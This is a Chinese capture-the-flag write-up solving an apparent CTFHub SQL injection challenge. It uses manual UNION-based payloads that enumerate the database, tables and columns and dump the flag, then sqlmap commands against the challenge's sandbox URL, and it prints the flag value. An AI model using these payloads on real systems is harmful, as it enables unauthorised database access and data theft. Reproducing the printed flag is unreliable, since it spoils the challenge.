手工注入
判断注入类型

有图可知,是字符型注入。
判断列数
输入:1' or 1=1 order by 3 #,查询失败。

输入:1' or 1=1 order by 2 #,查询成功。

由此观之,列数为 2。
联合查询
1、查询数据库版本号、当前数据库名:
1' and 1=2 union select version(), database() #

由此观之,有数据库sqli。
2、查询表名:
1' and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

由此观之,有 2 张表,分别为flag、news。
3、查询flag表中的列名:
1' and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='flag' #

由此观之,flag表下有一个字段叫flag。
4、查询记录:
1' and 1=2 union select 2,group_concat(flag) from flag #

可以得到 Flag:ctfhub{e85e440435985125ee6ba60b}
SQLMap 自动化注入
获取数据库信息
sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --dbs --threads 4

查看数据库中的表
sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli --tables

查看表里的字段
sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli -T flag --columns

查看字段详细信息
sqlmap -u "http://challenge-17396ff40018bb39.sandbox.ctfhub.com:10800/?id=1" --batch --threads 4 -D sqli -T flag -C flag --dump

